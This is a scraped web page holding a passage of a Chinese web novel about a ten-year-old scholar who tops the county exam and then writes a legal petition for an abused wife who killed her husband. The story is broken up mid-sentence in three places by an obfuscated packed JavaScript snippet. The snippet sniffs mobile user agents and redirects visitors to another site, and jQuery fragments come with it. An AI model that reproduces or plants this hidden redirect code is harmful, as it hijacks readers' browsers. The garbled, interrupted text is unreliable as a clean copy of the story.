梅鹤时放下手中毛笔，细致梳理着她细软的发丝。 梳发间隙，目光不经意扫过门旁，寅哥儿独自坐在那处，空洞眼神望向窗外的柿子树，周身萦绕着一股与年龄不符的阴郁。 梅鹤时若有所思，指尖翻飞，不一会儿便梳好花苞髻，正中位置别上绢花。 花瓣玲珑，栩栩如生。 少年满意勾了下唇：“好了。” 蘅姐儿摸两下，唇边抿出梨涡：“多谢二叔。” 说罢跑到寅哥儿跟前，粉色袄裙扬起，花蝴蝶般显摆转圈。 随后又凑到他耳畔，超小声咕哝：“二叔，好。” 寅哥儿睨她一眼，默然不语。 梅鹤时并未留意兄妹俩的小动作，将余下两道试帖诗题的批注吃透，门外响起云恩玉的声音：“时哥儿，蘅姐儿寅哥儿，都来吃饭了。” 叔侄三人先后走进灶房，梅二婶将窝头放桌上，似是自言自语，又似是说给旁人听：“不知差爷何时能来咱家报喜。” 云恩玉将粥碗往她面前一递：“给阿娘送去。” 梅二婶撇嘴，不情不愿接过来。 前夜闹了一场，死男人便没了踪影，可怜她既要干活，还要伺候婆母，险些累得半死。 待梅兴业那狗东西回来，她定要将他那狗脑袋敲进肚里！ 梅二婶怨念满满去了，云恩玉低声道：“时哥儿别往心里去，你才十岁，科举路还长着呢。” 梅鹤时微微颔首：“儿子晓得。” 他又非初次踏足科场，心中自有成算，不过是寻常名次与案首之别罢了。 云恩玉留意到蘅姐儿的花苞髻，会心一笑：“时哥儿越发手巧了，比上次还要好看。” 蘅姐儿小鸡啄米点头，欢喜地晃悠小腿。 说话间，凤姐儿暄哥儿也起了，嬉闹着冲进灶房。 “大伯娘，今早吃什么？” “哇——是凤姐儿最喜欢的荠菜饼！” 凤姐儿挨着梅鹤时落座，捧着小脸满眼期待：“阿娘说，只要阿兄考上童生，往后咱家顿顿都能吃上肉。” 暄哥儿咂嘴，老气横秋叹道：“阿娘也想让我读书，可是读书好难，我又不比阿兄聪慧，便是苦读十年二十年，也未必能出头。” “县试结果尚未揭晓，安心等候便是。”梅鹤时沉静目光落在暄哥儿身上，“世间诸事，唯有不肯用心，没有做不成的。” 暄哥儿似懂非懂，睁圆了一双眼。 梅鹤时不再多言，拿起荠菜饼轻咬一口。 吃饱喝足，有客登门。 “时哥儿，我来跟你对个答案，心里好有个着落。”刘澄挠头笑道，“其实前几日我便想登门拜访，奈何你每日早出晚归......今日你可有空？” 梅鹤时拿巾帕轻拭唇角，碗筷放入锅中：“不妨事，今日告假了。” 刘澄随梅鹤时去东屋，二人凑在桌前，逐一核对考题。 “太好了，算学题我也是这般解答的！” 刘澄抚掌大笑，手肘不小心撞歪了桌角那一叠草纸，有几张滑至桌沿，欲落不落。 梅鹤时指尖微动，将那几张草纸推回，又仔细将边角对齐。 刘澄见状，哭笑不得地摇了摇头：“早前在客栈同住备考时，我便发现时哥儿你见不得东西放得杂乱，总要整理得一丝不苟。” 他指着梅鹤时打趣道：“从前你可没有这般讲究，倒像是变了个人似的。” 今日晴空万里，云恩玉打算将被褥抱出去晒一晒。 行至东屋门口，刘澄那番话一字不落传入耳中。 云恩玉脚下微顿，按捺心底波澜，将几床被褥抱出去，在石磨与板车上铺开，而后扛起锄头，去地里查看庄稼长势。 走出数步，她回首望向那破旧黄泥房，半晌捏紧指节，低声呢喃：“不可能，不会的......” - 刘澄将满桌写有破题思路的草纸拢到一处，整个人瘫伏在案上，眉眼间萦绕着化不开的忐忑与焦灼。 他犹豫片刻，抬手轻戳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527612|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“时哥儿啊。” 梅鹤时从墨册中抬眼：“刘兄何事？” 刘澄虚虚按住心口，眉头拧成一团：“不瞒你说，自打县试结束，我夜里就从没睡过一个安稳觉。” “每晚躺在床上，睁眼是考题，闭眼是答卷，怎么都静不下心。” “心口这处总沉甸甸的，像是坠了块千斤巨石，压得我喘不过气，又好似有根无形的线在脏腑内来回拉扯......” 他顿了顿，抬手用力搓两下脸：“你说万一我时运不济，考官不喜我的文风，字迹不合心意，就此不幸落榜，又该如何是好？” 事不过三，若再落榜，不如一根绳子吊死算了，省得拖累家里。 梅鹤时将散落纸笔一一拾起，按顺序归置整齐：“刘兄不必如此妄自菲薄。你根基夯实，亦肯下苦功，此番县试作答条理分明，立论中正稳妥，岂有落榜之理？” “你只需放宽心怀，静待放榜便可，过度忧思反而徒增烦恼，伤身劳神。” 刘澄听这一番宽慰之言，心头松快几分，面上却一阵臊红：“瞧我这一把年纪，反倒要你来开解我，真是越活越回去了。” 梅鹤时莞尔，这般情况他见得太多，更有甚者不堪落榜打击，自寻短见。 书中，刘澄因陈耀文一己私欲误了一生前程。 他希望这一世，刘澄能不负寒窗，前程坦荡。 二人又闲坐片刻，随口聊了些治学心得与日后课业规划。 待心绪平复，刘澄便拱手告辞。 梅鹤时起身相送，刚踏出东屋门槛，便听见一道刻意张扬的话音。 抬眼望去，梅书珩正同几个村民侃侃而谈：“昨日我可是亲耳听见时哥儿自己说的，此番县试他定能一举考中。” 刘澄当即冷嗤：“一派胡言！” 他虽与梅鹤时相交不久，却深知其秉性沉稳内敛，绝不会说出这般狂妄轻浮之言。 可不妨碍村民们信以为真。 一妇人面露喜色：“都说龙生龙凤生凤，时哥儿一看就随他爹，是天生的读书人，将来必定是要做大官的！” 她身旁的老妪撇着嘴，不以为然：“话可别说得太满，十岁的娃娃，才读几年书，哪能轻易考上童生？” 当即有人附和：“想当初梅秀才也是十五岁才考上童生，从未听过十岁便能一试得中的神童。” 正喧闹间，与梅守福交好的三叔公拄着拐杖走来，沉着老脸，不由分说斥道：“小小年纪便口出狂言，你爹当年治学稳重，从不说这般虚浮大话，你倒好，净给他丢脸！” “回头我定要问一问你爷，他是怎么教的你。” “还有啊，你也别再去什么书院耗费钱粮了，心比天高，难成大事！” 梅书珩略微侧首，掩去得逞笑容。 不枉他这几日四处宣扬，今日过后，看那小子如何装清高！ 就在此时，远处传来一阵急促马蹄声。 众目睽睽下，两名黑衣红带的衙役策马而来，一路高唱：“喜报！恭贺梅鹤时梅老爷高中县试案首，名列榜首！” 18. 018 衙役所言如同平地惊雷，轰然炸响在村道之上。 议论与指责声戛然而止，村民们瞠目结舌，愣在当场。 三叔公老脸僵硬，义正辞严的斥责卡在喉咙里，面皮一阵红一阵白，一时间竟不知该作何言语。 梅书珩更是如遭雷击，面上得意笑容全然凝固，心底掀起滔天巨浪。 梅鹤时一个死了爹的穷酸小子，竟然真的考中了。 而且还是县案首！ 刘澄先是一怔，随即朗声大笑：“果然不出我所料，时哥儿你夺得了案首！” 衙役行至黄泥房前，翻身下马，粗略扫过呆若木鸡的人群，高声问道：“不知哪位是梅老爷？我等奉县令大人之命，特来送喜报。” 梅二婶从屋后喂鸡回来，嘴里赌咒梅老二最好死在外边，一听这话，立马将满腹牢骚抛去九霄云外，乐颠颠迎上去：“差爷，这便是我家时哥儿！” 二人瞧见那清瘦少年，俱是一惊。 县案首竟这般年轻？ 领头衙役猛掐掌心，才没让自己失态地叫出声，双手奉上烫金大红喜报：“恭喜梅老爷高中案首。” 另一人满眼艳羡：“小人往来各处送喜报，还从未见过如您这般年少的案首哩！” 单看此人气度沉稳，风骨不凡，将来必定仕途坦荡，前程不可限量。 梅鹤时躬身一揖，姿态从容：“多谢二位差爷远道奔走。” 领头衙役连称不敢当：“能给您这般的神童送喜报，是小人的福气。” 另一人附和：“小人回去至少一个月不洗澡，沾一沾您身上的文气，说不准家里也能出个读书人哩！” 一番道贺吉利话说罢，衙役正欲翻身上马，去下一家报喜，又听梅老爷开口问道：“差爷且留步，梅某冒昧一问，不知太平村中可还有旁人考中？” 领头衙役如实相告：“除了您，还有一位名为刘澄的考生。” 刘澄浑身一震，嘴唇不受控制地颤抖起来。 他一把抓住梅鹤时胳膊：“时哥儿，我没听错吧？差爷所言当真是我刘澄？” 梅鹤时含笑颔首：“刘兄没听错，正是你本人。” 连日积攒的焦虑、唯恐落榜拖累家小的惶恐，在此刻尽数绷断。 刘澄慌忙侧过身去，以袖掩面，肩头微微颤动。 衙役见状了然，奉上刘澄的喜报，道几句贺词，策马绝尘而去。 梅二婶双手叉腰，面上笑开了花：“我就晓得时哥儿是文曲星转世，真给咱老梅家长脸啊！” 这一声，将众人从震惊中拽回现实。 村民们一改原先质疑，围着梅鹤时奉承起来。 “我就说时哥儿不是狂言乱语，人家那是肚里有墨水，心有成算！” “有时哥儿这个案首撑门面，往后咱们太平村的人走出去都跟着面上有光！” 三叔公仗着辈分长，拄着拐杖挤到最前头，换上一副慈和嘴脸，欣慰感慨：“不愧是兴祖的儿子，你爹地下有知，也能瞑目了。” 梅二婶翻个白眼，这老小子变脸简直比翻书还快，忒讨人厌。 梅书珩立于人群外围，看着众星捧月的梅鹤时，听着不绝于耳的褒赞之言，心底嫉妒得发狂。 凭什么梅鹤时家境清贫，无父庇佑，却能十岁拿下县案首？ 可恨他费尽心思四处挑拨，本想让梅鹤时声名扫地，到头来反倒给对方做了嫁衣。 梅鹤时越发风光，衬得他越像个跳梁小丑。 梅鹤时手捧喜报，神色平淡：“多谢诸位抬爱，只是眼下时日紧迫，需闭门温书，潜心备考书院，不便多作应酬，还请诸位海涵。” 逐客令摆在明面，村民们只得收起讨好心思。 “那我们便不打扰时哥儿用功了，改日再来道贺。” 三叔公拍了拍梅鹤时肩头，笑着叮嘱：“好生备考，叔公等着你的好消息。” 梅鹤时淡淡应声，与梅书珩隔空对视一眼，转身进了屋。 梅书珩脸色铁青，胸膛剧烈起伏几下，攥着拳头恨恨离去。 回到家，梅守福坐在炕上抽旱烟，眯着眼吞云吐雾。 梅书珩咬牙上前，愤愤不平道：“阿爷，梅鹤时真考上县案首了，所有人都围着他吹捧，连三叔公都一个劲儿夸他有出息。” 外头吵吵嚷嚷，梅守福自然清楚发生了什么。 他将烟杆往桌沿一磕，“啪”一声脆响，面色阴沉：“老二真是命好！” 原以为梅兴祖去了，梅老头一家将永无出头之日。 谁料又出了个梅鹤时，以十岁之龄考中县案首。 梅守福喘了口闷气，瞪向梅书珩：“没用的东西，整日只知搬弄是非，倒不如多读几本书。” 他敲了敲烟杆，语气强硬：“你明年下场。” 梅书珩想说他火候未到，夫子不一定放人，脑海中浮现梅鹤时手持大红喜报的模样，闷闷应是。 梅守福面露几分满意：“我梅守福的孙子不比他梅守财的差，他考上案首，你也能！” - 村民散去，梅家恢复往日的清静。 梅二婶满面红光，心里美得跟揣了个蜜罐似的，压根坐不住，抬脚就往庄稼地里走。 她得赶紧把这天大的喜事告诉妯娌。 最好做两道荤食，让她敞开肚皮吃个痛快！ 刘澄依旧沉浸在巨大欢喜之中，愣愣地望着前方，一脸恍惚：“时哥儿，我这是在做梦吗？” 说着，他往前凑了两步，将胳膊递到梅鹤时跟前：“你快掐我一把，看看我到底是不是在做梦。” 梅鹤时失笑，拿起桌上毛笔，在刘澄胳膊上不轻不重敲一下。 清晰触感袭来，刘澄再度湿了眼眶。 是真的！ 他真的通过县试了！ 刘澄压下喉头哽咽，向梅鹤时一拱手：“县试那几日，多亏时哥儿提点，我才能顺利过关。” 梅鹤时缓声道：“你我相识多年，又结为互保，理应倾力相助。” “刘兄快些家去吧，别让叔婶和嫂夫人等急了。” 刘澄欸欸应两声，匆匆道别，着急忙慌往家赶去。 踏进家门，便瞧见爹娘与妻儿满是喜悦的脸庞。 刘澄心中一暖，咧开嘴笑了。 ...... 这边梅家，梅鹤时拿着喜报去了正屋。 梅老太正斜倚在炕柜上，揣着手炉闭目养神，听见脚步声，缓缓睁开眼。 待看清梅鹤时手中那抹鲜红，浑浊双目燃起灼灼光彩。 “阿奶您方才应当听见了，衙役来咱家报喜。”梅鹤时行至炕前，将喜报递到梅老太眼前，“您瞧，孙儿得了案首。” 梅老太颤着手抚上红纸，细细摩挲全然陌生的字迹，泪湿面颊：“好！好！好孩子！” 暄哥儿凤姐儿蹬蹬跑进来，盯着那红彤彤的喜报，小脸上满是崇拜。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531226|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “阿兄好厉害！十岁就当了案首！”凤姐儿仰起小脸，一双眼亮晶晶，拽着梅鹤时的衣角摇来晃去。 暄哥儿似是下定什么决心攥紧拳头超大声：“阿兄，我已经想好了，我也要读书，跟阿兄一样有出息！” 梅鹤时轻笑：“待我考入书院，闲暇之余便可教你识字。” “好耶！” 蘅姐儿趴在门框上，暗搓搓瞧上一眼，溜回东屋：“二叔，厉害。” 寅哥儿眼中阴郁依旧，面无表情望着窗外柿子树。 案首而已。 不多时，妯娌二人回来。 云恩玉一进门，目光便落在那大红喜报上，再也移不开。 一股酸涩涌上心头，她连忙别过脸，深吸一口气，上前轻抚梅鹤时臂膀：“时哥儿辛苦了。” 梅鹤时微微摇头：“阿娘这是哪里话，读书本就是我心之所向，儿子乐在其中。” 云恩玉抿嘴笑，视线落在他右臂上，眼神微闪。 梅老头心系县试结果，午时刚过便满载而归。 梅鹤时瞧了眼，两只野兔、一只山鸡，皮毛鲜亮，看着格外喜人。 得知梅鹤时高中案首，梅老头黝黑脸上绽开条条沟壑，眼睛亦眯成一条缝：“好小子，不愧是我梅家的种！” 他指着猎物，吩咐两个儿媳：“这般天大喜事，这三只一锅炖了，好生庆贺一番。” 梅二婶求之不得，当即挽起袖子，上前接手野味。 妯娌二人分工默契，一个烧火，一个褪毛剖洗，说说笑笑，面上皆是掩不住的欢喜。 灶房炊烟袅袅，肉香逐渐漫溢开来。 一家人围坐桌前，正中摆着一大盆红烧野味，还有几碟爽口小菜，并热腾腾的窝头粥饭。 人逢喜事精神爽，梅老太这会儿生龙活虎，喜气洋洋宣布：“不必节省，都放开肚皮吃。” “阿奶最好啦！” “肉！我要吃肉！” 暄哥儿凤姐儿叽叽喳喳，梅鹤时给长房两个小的夹了肉，不着痕迹弯起眼。 吃得正高兴，隔壁突然炸起一阵歇斯底里的哭嚎：“天杀的小畜生，抢了我儿运道，也不怕遭天谴......” 梅老太面色一沉，不待她开骂，梅二婶先跳起来，抄起一块石头砸过去。 “砰！” 木门上砸出个坑，徐桃花霎时息了声。 梅二婶拍拍手坐回去，堆起满脸笑：“时哥儿甭管那疯婆娘，这白菜是我用兔肉炼出来的油炒的，油润润可香了！” 梅鹤时敛眸忍笑，低低应了声。 用完夕食，收拾妥当，天色已然沉了下来。 洗漱时，云恩玉一时失手，将半盆温水尽数洒在梅鹤时衣袖上。 云恩玉惊呼，连忙卷起浸湿的那一截衣袖，露出少年清瘦的小臂：“没烫着吧？阿娘方才手滑，实在对不住。” “阿娘宽心，没烫着。”梅鹤时随口安抚道，又将衣袖往上挽起一截。 借着昏黄烛光，云恩玉看清他手臂内侧一枚浅褐色小痣，位置、大小皆与记忆中如出一辙。 云恩玉心下一松，轻推梅鹤时一下：“赶紧回屋换身衣服，这一身明日拿到太阳底下晒几个时辰，去去湿气。” 梅鹤时应是，回屋换上干净絮袄。 抬手抚平衣襟褶皱，隔着泥墙望向灶房，眸中光影明灭。 他似乎......低估了一个母亲的敏锐。 19. 019 夜半时分，梅鹤时又做了场梦。 梦中，是全然陌生的景致。 鳞次栉比的高楼拔地而起，直入云天，透明幕墙映着流光碎影。 宽阔平整的道路上车流不息，往来行人步履匆匆，一派热闹繁华之态。 梅鹤时心头微震，这是何处？ 竟与他所经历的两方天地截然不同。 不待他缓过神，周遭景象流转，城市喧嚣褪去，取而代之的是一间静谧小屋。 屋舍不大，却布置得格外温馨。 墙体是柔和的米白色，墙角立着同色木柜，柜门半敞，挂满小巧玲珑的衣物。 阳光穿透轻薄纱帘，细碎金辉洒落床榻。 床上躺着个襁褓婴孩，小小的身子不时蠕动，脸蛋粉嘟嘟，嘴里咿咿呀呀不停，圆溜溜的眸子懵懂澄澈，不染半点尘埃，惹人心生欢喜。 梅鹤时莫名觉得这孩子有些眼熟。 正沉吟间，一对年轻男女走进来。 男子俯身，小心翼翼碰了下婴儿软绵的脸颊。 女子依偎在旁，满眼疼爱望着小家伙，轻声道：“咱们小宝长得真好看。” 男子低低附和，手指比划着：“瞧这小鼻子，又直又挺，像你。” 女子看他一眼，又垂眸看婴儿：“嘴巴像你，尤其笑起来的时候，跟你小时候一模一样。” 两人相视一笑，小家伙似是听懂一般，嗯嗯轻哼，小手胡乱抓住母亲的手指，要往嘴里塞。 “欸，这可不行！”做父亲的连忙救下妻子的手指。 温存片刻，小婴儿香甜睡去。 女子轻抚他的额头，眼神认真而温柔：“咱们给他取个名字吧。” 男子沉吟良久：“梅鹤时。” “愿他一生自在，如寒梅傲骨，似仙鹤翩跹，无灾无难，顺遂安康。” 话音未落，梦境骤然破碎。 梅鹤时惊醒，胸口略微起伏，额头沁出薄汗。 月光透窗而入，映得屋内一片清寂。 他身旁，蘅姐儿寅哥儿睡颜恬静，云恩玉亦呼吸绵长。 汗水模糊了视线，梅鹤时眨了眨眼，望着破败木梁，回想梦中所见。 那是他从未见过的盛世。 虽无灵气萦绕，却另有一番烟火鼎盛的繁华。 更让他心绪难平的，是那个被取名为梅鹤时的婴孩。 那孩子懵懂澄澈的眉眼，那对夫妇眼底藏不住的宠溺，以及那句字字恳切的期许，一遍遍在脑海中回放。 梅鹤时抬手抚上脸颊，指尖触及温热，那股莫名的熟悉感愈发清晰。 若他没有猜错，那个婴孩应当是原主。 他替原主圆了案首梦，又保全梅家，断了陈耀文的仕途，执念已消，自可安心投胎转世。 梅鹤时轻拢被褥，悄然阖眸。 他与原主之间的因果，至此算是偿还大半。 屋内呼吸交织，他再无杂念，安稳沉入梦乡。 - 一夜好眠，翌日卯时准时苏醒。 梅鹤时稍稍定神，进入图书馆，轻触玉牌调取《论语》，研读雍也篇，而后又铺纸研墨，演算四道算学题。 自县试结束，梅鹤时便将每日时限一分为二。 清晨三个时辰专研经义、算学，余下时间则留到睡前，练习四书、律赋等科举常见题型。 虽辛苦枯燥，却步步扎实，日日精进。 演算完毕，对照答案加以修正，梅鹤时归还典籍，退出图书馆。 蘅姐儿寅哥儿沉睡未醒，梅鹤时轻手轻脚起身，去屋外舒展筋骨，随后取来柳条，蘸取细盐，细致清洁牙齿。 漱了口，正欲沾水净面，许夫子登门。 见许夫子手持布包，肩头沾染晨露，梅鹤时忙放下巾帕，上前行礼：“夫子，您怎么来了？” 许夫子将布包置于石磨之上，语气难掩欣慰：“考得不错，莫说清河县，放眼整个淮安府，十岁案首也是寥寥无几。” 梅鹤时谦逊道：“夫子谬赞，全赖您平日悉心教导，学生才有今日成绩。” 许夫子笑而不语，打开布包，里面整齐叠放着数本墨册。 书页虽有些磨损，却整洁依旧。 “这几本墨册是老夫当年备考时所用，上面记着我的研读心得与答题技巧。” 许夫子将墨册递到梅鹤时手中，语重心长说道：“科举考题虽千变万化，但万变不离其宗，你潜心研习，定能有所收获，亦可少走许多弯路。” 梅鹤时双手接过墨册：“多谢夫子厚爱，学生定妥善保管，认真研读，不辜负您的期许。” 许夫子又叮嘱几句备考事项，便起身告辞。 梅鹤时亲自相送，目送夫子远去才转身回屋，吃一碗糙米粥，再拿上两块麦饼，徒步进城去。 行至中途，岔路口处站着几个人。 梅老二穿着一身破袄，头发乱糟糟，眼下青黑神色萎靡，与几个狐朋狗友勾肩搭背，嬉皮笑脸。 不经意扭头，瞥见迎面走来的梅鹤时，梅老二笑意僵硬一瞬，若无其事移开眼：“这破地方怪冷的，咱们赶紧走吧。” 说罢，拉着王老三往另一条路上去。 “今儿上哪去玩？” “苏家酒坊上了一批新酒，那酒又香又烈，不如去尝尝？” “好主意！” 说笑声远去，梅鹤时脚步未停，却想起另一件事。 梅老二素来没主见，数日不着家，与王老三等人厮混在一处，不知是否被他们蛊惑，沉溺赌坊。 进城后，梅鹤时特意绕一段路，去了赌坊。 大庆朝并无宵禁，赌坊昼夜灯火长明，这会儿仍能听见阵阵喝彩声。 门房靠墙打瞌睡，梅鹤时走上前：“劳烦问一句，近几日可有一个身着青布絮袄，头发散乱，左颊有一颗痣的男子来此赌钱？” 门房见梅鹤时虽衣着寒酸，言行举止却温文有礼，压下被惊扰的火气：“小公子所言之人，近日并未来过。” 梅鹤时语调略沉：“您可莫要骗我。” 门房啧了一声，没好气说道：“赌坊每日人来人往，可谁让我记性好，每个人都记得一清二楚。” 他顿了顿，一抚掌：“不对！我还真见过一个这般打扮的人。” 梅鹤时眼底闪过冷芒，却听门房接着道：“那人是被同伴拉来的，对方百般劝说，他死活不进来，我见他一副穷酸相，便随他去了。” “昨日下午又来过一趟，一只脚都迈进门了，又借口肚子疼......” 如此看来，梅老二虽混不吝，心中却有一杆尺子，知晓什么能做，什么不能做。 梅鹤时暂且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533783|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下心来，转道赶往书肆。 行至拐角处，忽听有人高声道：“诸位听说了吗？昨夜城东出了一桩命案，一妇人残忍杀害了她的夫君！” 白发老翁神情鄙夷：“定是那妇人不守妇道，被夫君察觉端倪，便痛下杀手。” “可我听人说，那男子平日里好吃懒做，对妻女动辄打骂，许是那妇人被逼得走投无路了呢？”书生打扮的青年反驳。 老翁瞪眼：“纵使受了委屈，也不该谋杀亲夫！妇道人家当以夫为天，杀夫乃是大逆不道，当从重处置！” “杀人偿命，天经地义，哪有什么不得已的苦衷。” “话也不能这么说，若常年遭到苛待，换做是谁，都有被逼疯的一日......” 众人各执一词，吵得不可开交。 绕路耽误了时辰，梅鹤时无意掺和市井闲话，只旁听几句，便目不斜视穿街而过。 抵达书肆时，那几名书生正围坐一处谈笑风生。 “恭喜张兄，令郎顺利通过县试。” “真是虎父无犬子啊！” 张兄捻须笑道：“县试而已，往后还有的熬呢。” “张兄此言差矣，县试虽易，却也有无数读书人折戟败落。令郎能一举通过，已然远超常人。” 谈笑间，有人话锋一转：“要说本次县试，最令人佩服的，当属那位梅案首。” “老夫曾去考棚拜读他的文章，字字珠玑，文理兼备，难怪被刻印成册，供县学学子研习。” “我儿曾说，县学几位教谕读了他的文章，皆赞不绝口。听闻那位梅案首年方十岁，小小年纪便有如此见识，将来必成大器。” “这般年纪便能夺得案首，说他是神童也不为过！” 众人你一言我一语，语气里满是敬佩与艳羡。 矮胖书生见梅鹤时进门，笑着道：“原本昨日想替你看个榜，忽又想起共事多日，还未知晓贤弟高姓大名。” 不待梅鹤时开口作答，他又似真似假地安慰：“贤弟还年轻，落榜也无妨，这世上如梅案首一般的神童又有几个？” 梅鹤时略一拱手：“晚辈梅鹤时。” 话音落下，书肆内霎时鸦雀无声。 掌柜霍然抬首，手中茶盏险些砸落在地。 那几名书生更是目瞪口呆，怔怔望着眼前少年。 好半晌，矮胖书生才结结巴巴开口：“你、你是梅鹤时？” 梅鹤时眉梢微扬：“若王兄问的是那位中了案首的梅鹤时，正是在下。” “砰！” 张兄失手打翻算盘，对上少年风轻云淡的眼，只觉被人隔空扇了一巴掌，面皮火辣辣得疼。 就在此时，一个身着粗布衣裙的中年妇人快步走来，面色苍白，神情焦灼：“想必诸位都听闻城东命案了吧？哪位先生若能替我写一份诉状，可得十两酬劳。” 张兄哪还顾得上尴尬，忙上前一步：“夫人放心，此事包在老夫身上，定写出一份严谨详尽的诉状，将那犯妇绳之以法，还死者一个公道！” 中年妇人却是摇头：“老先生误会了，我并非控诉犯妇，而是想让您替我写一份诉状，请官府查明缘由，还她一个清白。” 张兄伸出去的手立马缩回去，藏入袖中。 另几人面面相觑，像是锯了嘴的葫芦，竟无一人应声。 20. 020 妇人眼中光亮缓缓黯淡下去，唇角扯出一抹苦涩弧度，转身便要离去。 “夫人且慢。” 清朗嗓音响起，妇人回首望去，竟是个身形单薄的少年，心中刚燃起的希望又灭了大半。 梅鹤时直言相问：“既是命案，夫人为何要替那犯妇开脱？” 妇人抹了把眼角泪痕：“并非我多管闲事，只因那犯妇是我娘家小妹。” “出了那等命案，人人骂她蛇蝎心肠，却不知她嫁过去这些年过的是什么日子。” 梅鹤时：“愿闻其详。” “那陈虎嗜酒如命，醉酒后便拿我小妹撒气，轻则拳打脚踢，重则棍棒加身，直打得我小妹身上没一块好肉。” 妇人声音发颤：“我小妹逃回娘家求救，爹娘兄弟也曾打上门去，换来的却是陈虎变本加厉的殴打。” “陈虎对儿女亦是非打即骂，毫无半分疼惜。昨日我外甥女被滚油烫了腿，半截皮肉都烂了，当爹的连个大夫都不肯请，只一味发疯打我小妹......” 说到此处，妇人泣不成声，竟双膝一软，直直跪了下去：“求诸位替我小妹写一份诉状，只要能救她一命，让我做什么都行。” “她才十九岁，不能因为一个畜生丢了性命啊！” 几名书生忙侧身避开，不敢与那双充满哀求的眼对视。 书肆内静得只余哭声，梅鹤时闭目沉吟片刻，指尖轻叩柜台：“掌柜，可否借纸笔一用？” 掌柜一惊，压低声音劝道：“小公子万万不可！这可是人命官司，那陈虎虽罪有应得，可杀夫乃是大罪，你前程一片光明，若是因这趟浑水惹祸上身，得不偿失啊！” 梅鹤时铺开宣纸，砚台里余墨未干，他用笔尖蘸了墨：“掌柜放心，晚辈自有分寸。” 他需要钱，而这妇人给的酬劳足够解他当前困境。 掌柜见他执意如此，长叹一声，不再多言。 梅鹤时执笔问道：“夫人，令妹嫁入夫家几年？” 妇人心中大喜，哪怕不是德高望重的老先生，只要有人愿意出手相助，小妹便可多出一线生机。 “五年。” “街坊邻里可知她被殴打之事？” 妇人恨恨捶地：“怎的不知？那杀千刀的发起疯来从不避人，左邻右舍皆听见过我小妹的惨叫。” “可那毕竟是旁人家事，没人愿意为一个不相干的妇人惹祸上身。” 掌柜满心唏嘘，只觉可悲。 世道凉薄，袖手旁观已是常态。 梅鹤时又细问几句，提笔落墨。 “犯妇陈柳氏，年十九，景泰五年嫁与陈虎为妻。五年间，陈虎动辄遭拳脚相加，邻里闻声而不敢言。其臂有陈年烙痕，背有尺余旧疤，皆为陈虎酒后所伤。邻人周氏、王氏，均可作证。” 紧接着笔锋一转，直指案发经过。 “案发当日，陈虎酗酒归家，因琐事生口角，抄起棍棒朝妻陈柳氏劈头打去。长女阻拦，被陈虎一脚踢开，滚落灶台，致热油倾覆，腿脚烫伤，皮肉溃烂。” 妇人听到此处，失声道：“您怎会知晓我外甥女是在二人争执间烫伤？” 梅鹤时笔下未停：“夫人方才提及，难道忘了？” 妇人茫然四顾，她只说陈虎对外甥女伤势全然不顾，并未细说烫伤缘由。 梅鹤时娓娓分析：“令妹受陈虎五年磋磨，始终未曾反抗，可见其性情隐忍。若非遇上关乎性命、无法再忍之事，断不会痛下杀手。” “您方才提及，外甥女昨日被热油烫伤，陈虎却不肯请大夫，令妹亲眼目睹孩儿重伤无人医治，自身又遭毒打，走投无路之下，为护女儿对他痛下杀手，实属情理之中。” 妇人连连点头：“小先生所言句句属实，一切皆是万般无奈之举。” 几名书生满面错愕。 不过听了几句零碎哭诉，竟能将案发当日的惨状推演得如同亲历？ 虽不愿承认，他们似乎明白了，眼前少年为何能以十岁之龄高中案首。 梅鹤时并未理会周遭惊叹的注目，追问几处细节，笔下愈发行云流水。 “犯妇重伤倒地，见幼女惨嚎，心生绝望，遂趁陈虎醉酒昏睡，从灶房取来菜刀，了结其性命。” “此乃绝望之下的本能反击，而非预谋杀人。” “盖因犯妇目睹骨肉重伤，母性迸发，不甘毙命棍下，故而奋起求生。” “陈虎见长女伤残而不顾，罔顾人性，今日若定此妇之罪，他日万千受虐之妇，谁人敢求生？谁人敢护子？” 通篇诉状一气呵成，梅鹤时搁下笔，轻轻吹干墨迹，将诉状递与那妇人。 妇人双手颤抖着，几乎接不住那张薄纸。 她只字未言，只“扑通”跪地，连磕三个响头，将那十两碎银置于柜台之上，小心翼翼将诉状藏入怀中，踉跄着奔向县衙。 ...... “简直胡闹！” 不知何时，书肆外围聚了不少闻讯而来的百姓。 白发老翁指着梅鹤时斥道：“杀夫乃是触犯国法的重罪，你怎能替她写诉状？真是年少无知，不知所谓！” 一旁的妇人反驳：“你为何死咬着杀夫不放？那妇人分明是被逼得走投无路才出此下策，小先生肯出手相助，不仅有善心，更有胆识！” 此言一出，附和者甚众。 “正因为有你这样的人，那些惨遭毒害的妇人才会求助无门，打碎牙往肚子里咽。” “念在她护女心切的份上，关她几日便算了。” 